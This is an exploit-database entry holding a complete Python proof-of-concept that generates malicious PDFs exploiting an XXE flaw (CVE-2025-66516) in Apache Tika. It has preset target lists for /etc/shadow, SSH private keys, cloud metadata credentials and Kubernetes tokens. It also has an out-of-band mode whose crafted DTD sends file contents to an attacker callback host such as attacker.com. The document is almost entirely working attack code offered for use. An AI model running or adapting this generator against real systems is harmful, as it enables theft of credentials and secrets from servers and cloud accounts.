Exploit database

GH-7578b013c409737f13e5a0d9d78692ad

chasingimpact/cve-2025-66516-writeup-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-66516

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
chasingimpact/cve-2025-66516-writeup-pocRevision 13d694e62477

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/generate_payload.py

Python · 14,084 bytes
#!/usr/bin/env python3
"""
CVE-2025-66516 Malicious PDF Payload Generator
===============================================

Generates PDF documents with embedded XFA (XML Forms Architecture) content
containing XXE (XML External Entity) payloads for exploiting Apache Tika.

VULNERABILITY BACKGROUND:
-------------------------
Apache Tika versions 1.13 through 3.2.1 fail to properly configure the
underlying StAX XML parser to disable external entity resolution when
processing XFA data within PDF documents. This allows attackers to:
  - Read arbitrary files from the server
  - Perform Server-Side Request Forgery (SSRF)
  - Exfiltrate data to external servers

IMPORTANT: The standard tika-server-standard.jar bundles Woodstox, which
has secure defaults and is NOT vulnerable. This exploit works against:
  - Embedded Tika deployments (tika-core + parser modules)
  - Custom deployments without Woodstox on classpath
  - Applications using JDK's default StAX parser

USAGE:
------
  # Generate payload to read /etc/passwd
  python generate_payload.py --target /etc/passwd --output exploit.pdf

  # Generate SSRF payload for AWS metadata
  python generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

  # Generate payload with OOB exfiltration
  python generate_payload.py --target /etc/passwd --callback http://attacker.com:8080 --output oob.pdf

  # Use attack mode presets
  python generate_payload.py --mode aws_metadata --output aws_exploit.pdf
  python generate_payload.py --mode k8s_secrets --all-targets --output ./k8s_payloads/

  # List available attack modes
  python generate_payload.py --list-modes
"""

import sys
import io
import os
import argparse

# Predefined targets for different attack scenarios
ATTACK_PRESETS = {
    "file_read": {
        "targets": [
            "/etc/passwd",
            "/etc/shadow",
            "/etc/hosts",
            "/proc/self/environ",
            "/proc/self/cmdline",
        ],
        "description": "Read local files from the server"
    },
    "ssh_keys": {
        "targets": [
            "/root/.ssh/id_rsa",
            "/root/.ssh/id_ed25519",
            "/home/ubuntu/.ssh/id_rsa",
            "/home/ec2-user/.ssh/id_rsa",
        ],
        "description": "Steal SSH private keys for lateral movement"
    },
    "aws_metadata": {
        "targets": [
            "http://169.254.169.254/latest/meta-data/",
            "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
            "http://169.254.169.254/latest/dynamic/instance-identity/document",
            "http://169.254.169.254/latest/user-data",
        ],
        "description": "Steal AWS EC2 instance metadata and IAM credentials"
    },
    "gcp_metadata": {
        "targets": [
            "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
            "http://metadata.google.internal/computeMetadata/v1/project/project-id",
        ],
        "description": "Steal GCP metadata and service account tokens"
    },
    "azure_metadata": {
        "targets": [
            "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
            "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",
        ],
        "description": "Steal Azure instance metadata and managed identity tokens"
    },
    "k8s_secrets": {
        "targets": [
            "/var/run/secrets/kubernetes.io/serviceaccount/token",
            "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt",
            "/var/run/secrets/kubernetes.io/serviceaccount/namespace",
        ],
        "description": "Read Kubernetes service account credentials"
    },
    "webapp_configs": {
        "targets": [
            "/var/www/html/wp-config.php",
            "/var/www/html/config/database.yml",
            "/var/www/html/.env",
            "/opt/tomcat/conf/server.xml",
            "/opt/tomcat/conf/tomcat-users.xml",
        ],
        "description": "Read common web application configuration files"
    },
    "ssrf_internal": {
        "targets": [
            "http://localhost:8080/",
            "http://127.0.0.1:6379/INFO",
            "http://127.0.0.1:11211/stats",
            "http://127.0.0.1:9200/_cluster/health",
        ],
        "description": "Probe internal services via SSRF"
    },
}


class PayloadGenerator:
    """Generate PDF documents with XXE payloads in XFA content"""

    def __init__(self, target, callback_url=None):
        """
        Initialize the payload generator.

        Args:
            target: File path or URL to read/request
            callback_url: Optional URL for OOB exfiltration
        """
        self.target = target
        self.callback_url = callback_url

    def get_entity_uri(self):
        """Determine the correct URI scheme for the target"""
        if self.target.startswith("http://") or self.target.startswith("https://"):
            return self.target
        else:
            return f"file://{self.target}"

    def generate_xfa_content(self):
        """
        Generate complete XFA document with XXE payload.

        The XXE entity is defined in the DOCTYPE and referenced in the
        template and datasets sections where Tika extracts text content.
        """
        entity_uri = self.get_entity_uri()

        return f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xdp:xdp [
  <!ENTITY xxe SYSTEM "{entity_uri}">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" xml:lang="en">
<config xmlns="http://www.xfa.org/schema/xci/3.1/">
  <present><pdf><version>1.7</version></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
  <subform name="form1" layout="tb">
    <pageSet>
      <pageArea><contentArea/><medium stock="letter"/></pageArea>
    </pageSet>
    <subform>
      <field name="data">
        <ui><textEdit/></ui>
        <value><text>&xxe;</text></value>
      </field>
    </subform>
  </subform>
</template>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
  <xfa:data><form1><data>&xxe;</data></form1></xfa:data>
</xfa:datasets>
</xdp:xdp>'''

    def generate_oob_xfa_content(self):
        """
        Generate XFA content for Out-of-Band (blind) XXE exfiltration.

        This technique fetches an external DTD that constructs a URL
        containing the file contents, sending data to attacker server.
        """
        if not self.callback_url:
            raise ValueError("Callback URL required for OOB payload")

        return f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xdp:xdp [
  <!ENTITY % file SYSTEM "file://{self.target}">
  <!ENTITY % dtd SYSTEM "{self.callback_url}/evil.dtd">
  %dtd;
  %send;
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
  <subform name="form1">
    <pageSet><pageArea><contentArea/><medium stock="letter"/></pageArea></pageSet>
  </subform>
</template>
</xdp:xdp>'''

    def generate_evil_dtd(self):
        """
        Generate the external DTD file for OOB exfiltration.

        Host this file on your callback server at /evil.dtd
        """
        return f'''<!ENTITY % data SYSTEM "file://{self.target}">
<!ENTITY % param1 "<!ENTITY &#x25; send SYSTEM '{self.callback_url}/exfil?d=%data;'>">
%param1;'''

    def create_pdf(self, xfa_content):
        """
        Create a minimal valid PDF with embedded XFA content.

        The PDF structure includes:
          - Catalog with AcroForm reference
          - Single page
          - AcroForm with XFA stream
        """
        pdf = io.BytesIO()
        offsets = {}

        def write(data):
            if isinstance(data, str):
                data = data.encode('utf-8')
            pdf.write(data)

        def obj_start(num):
            offsets[num] = pdf.tell()

        # PDF Header with binary marker
        write(b'%PDF-1.7\n%\xe2\xe3\xcf\xd3\n')

        # Object 1: Document Catalog
        obj_start(1)
        write(b'1 0 obj\n<< /Type /Catalog /Pages 2 0 R /AcroForm 5 0 R >>\nendobj\n')

        # Object 2: Page Tree
        obj_start(2)
        write(b'2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n')

        # Object 3: Page
        obj_start(3)
        write(b'3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\nendobj\n')

        # Object 4: Empty Page Content
        obj_start(4)
        write(b'4 0 obj\n<< /Length 0 >>\nstream\nendstream\nendobj\n')

        # Object 5: AcroForm with XFA reference
        obj_start(5)
        write(b'5 0 obj\n<< /Fields [] /XFA 6 0 R /NeedAppearances true >>\nendobj\n')

        # Object 6: XFA Stream containing the payload
        xfa_bytes = xfa_content.encode('utf-8')
        obj_start(6)
        write(f'6 0 obj\n<< /Length {len(xfa_bytes)} >>\nstream\n'.encode())
        write(xfa_bytes)
        write(b'\nendstream\nendobj\n')

        # Cross-reference table
        xref_offset = pdf.tell()
        write(b'xref\n0 7\n')
        write(b'0000000000 65535 f \n')
        for i in range(1, 7):
            write(f'{offsets.get(i, 0):010d} 00000 n \n'.encode())

        # Trailer
        write(f'trailer\n<< /Size 7 /Root 1 0 R >>\nstartxref\n{xref_offset}\n%%EOF\n'.encode())

        return pdf.getvalue()

    def save_payload(self, output_path):
        """Generate and save the standard XXE payload PDF"""
        xfa_content = self.generate_xfa_content()
        pdf_data = self.create_pdf(xfa_content)

        with open(output_path, 'wb') as f:
            f.write(pdf_data)

        return len(pdf_data)

    def save_oob_payload(self, output_path):
        """Generate and save the OOB XXE payload PDF and DTD"""
        if not self.callback_url:
            raise ValueError("Callback URL required for OOB payload")

        xfa_content = self.generate_oob_xfa_content()
        pdf_data = self.create_pdf(xfa_content)

        with open(output_path, 'wb') as f:
            f.write(pdf_data)

        # Save the evil DTD
        dtd_path = output_path.replace('.pdf', '_evil.dtd')
        with open(dtd_path, 'w') as f:
            f.write(self.generate_evil_dtd())

        return len(pdf_data), dtd_path


def list_modes():
    """Display available attack mode presets"""
    print("\nAvailable Attack Modes:")
    print("=" * 60)
    for mode, info in ATTACK_PRESETS.items():
        print(f"\n  {mode}:")
        print(f"    {info['description']}")
        print(f"    Targets ({len(info['targets'])}):")
        for t in info['targets'][:3]:
            print(f"      - {t}")
        if len(info['targets']) > 3:
            print(f"      ... and {len(info['targets']) - 3} more")


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-66516 Malicious PDF Payload Generator',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s --target /etc/passwd --output exploit.pdf
  %(prog)s --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf
  %(prog)s --target /etc/passwd --callback http://attacker:8080 --output oob.pdf
  %(prog)s --mode aws_metadata --all-targets --output ./payloads/
  %(prog)s --list-modes
        """
    )
    parser.add_argument('--target', '-t', help='Target file path or URL')
    parser.add_argument('--mode', '-m', choices=list(ATTACK_PRESETS.keys()),
                        help='Use predefined attack mode')
    parser.add_argument('--callback', '-c', help='Callback URL for OOB exfiltration')
    parser.add_argument('--output', '-o', help='Output file or directory')
    parser.add_argument('--all-targets', action='store_true',
                        help='Generate payloads for all targets in mode')
    parser.add_argument('--list-modes', action='store_true', help='List attack modes')

    args = parser.parse_args()

    if args.list_modes:
        list_modes()
        return 0

    if not args.output:
        parser.error("--output is required when generating payloads")
        return 1

    # Determine targets
    if args.mode:
        mode_info = ATTACK_PRESETS[args.mode]
        if args.all_targets:
            targets = mode_info['targets']
        else:
            targets = [args.target] if args.target else [mode_info['targets'][0]]
        print(f"[*] Attack Mode: {args.mode}")
        print(f"[*] {mode_info['description']}")
    elif args.target:
        targets = [args.target]
    else:
        parser.error("Either --target or --mode is required")
        return 1

    # Handle output path
    if len(targets) > 1 or args.all_targets:
        # Multiple targets - output must be directory
        os.makedirs(args.output, exist_ok=True)
        output_dir = args.output
        single_file = False
    else:
        # Single target - output is file path
        output_dir = os.path.dirname(args.output) or '.'
        os.makedirs(output_dir, exist_ok=True)
        single_file = True

    print(f"[*] Generating {len(targets)} payload(s)...")

    for i, target in enumerate(targets):
        gen = PayloadGenerator(target, args.callback)

        if single_file:
            output_path = args.output
        else:
            safe_name = target.replace("/", "_").replace(":", "_").replace("?", "_")[:40]
            output_path = os.path.join(output_dir, f"payload_{i}_{safe_name}.pdf")

        # Generate standard payload
        size = gen.save_payload(output_path)
        print(f"[+] Created: {output_path} ({size} bytes)")
        print(f"    Target: {target}")

        # Generate OOB variant if callback specified
        if args.callback:
            oob_path = output_path.replace('.pdf', '_oob.pdf')
            size, dtd_path = gen.save_oob_payload(oob_path)
            print(f"[+] Created OOB: {oob_path} ({size} bytes)")
            print(f"[+] Created DTD: {dtd_path}")
            print(f"    Host DTD at: {args.callback}/evil.dtd")

    print(f"\n[*] Done. Generated {len(targets)} payload(s).")
    return 0


if __name__ == "__main__":
    sys.exit(main())